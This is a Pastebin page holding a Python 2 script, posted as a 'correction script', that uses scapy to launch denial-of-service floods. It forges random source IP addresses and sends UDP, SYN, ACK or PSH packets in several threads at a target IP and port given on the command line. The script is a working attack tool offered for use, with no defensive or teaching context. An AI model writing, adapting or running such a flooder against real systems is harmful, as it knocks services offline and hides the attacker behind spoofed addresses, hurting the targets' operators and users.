Advertisement
Guest User

Correction script python by Fr3nch

a guest
Mar 30th, 2015
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import sys
  2. import string
  3. import threading
  4. import Queue
  5. from scapy.all import *
  6.  
  7. #################### List & Variables ###################################
  8.  
  9. spoofedip = []
  10. dos = ""
  11. count = 0
  12.  
  13. #################### IP generator function ###################
  14.  
  15. def ip_gen():
  16. i = 1
  17. spoof_ip = ""
  18. while i != 5:
  19. rnd = random.randint(0, 255)
  20. spoof_ip = str(spoof_ip) + str(rnd)
  21. if i != 4:
  22. spoof_ip = str(spoof_ip) + "."
  23. i = i + 1
  24. return str(spoof_ip)
  25.  
  26. #################### Attack function ########################
  27.  
  28. def attack(dos, count):
  29. while(count != int(sys.argv[4])*20):
  30. ip = ip_gen()
  31. if ip not in spoofedip:
  32. spoofedip.append(ip)
  33. ip_pck = IP(src=ip, dst=sys.argv[2])
  34. pck = ip_pck/dos
  35. send(pck, count=1, verbose=0)
  36. count += 1
  37. print "Terminated"
  38.  
  39. ######################## Main ###############################
  40.  
  41. if len(sys.argv) < 6:
  42. print "Usage: %s [Type of flood] [ip] [port] [time] [Number of thread]" % (sys.argv[0])
  43. print "Type of flood: UDP ,SYN, ACK or PSH\n"
  44. sys.exit()
  45. if string.lower(sys.argv[1]) == "udp":
  46. dos = UDP(sport=random.randint(1,65535),dport=int(sys.argv[3]), len=1024)
  47. elif string.lower(sys.argv[1]) == "syn":
  48. dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="S")
  49. elif string.lower(sys.argv[1]) == "ack":
  50. dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="A")
  51. elif string.lower(sys.argv[1]) == "push":
  52. dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="P")
  53. else:
  54. print 'Type of flood "' + sys.argv[1] + '"' + " Non reconnu"
  55. sys.exit()
  56.  
  57. try:
  58. for i in xrange(0,int(sys.argv[5])):
  59. print "Thread " + str(i) + " started"
  60. t = threading.Thread(target=attack, args=(dos,count))
  61. t.daemon = True
  62. t.start()
  63. q = Queue.Queue()
  64. s = q.get()
  65. print s
  66.  
  67. except KeyboardInterrupt, e:
  68. print "\n\nScript execution finished!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement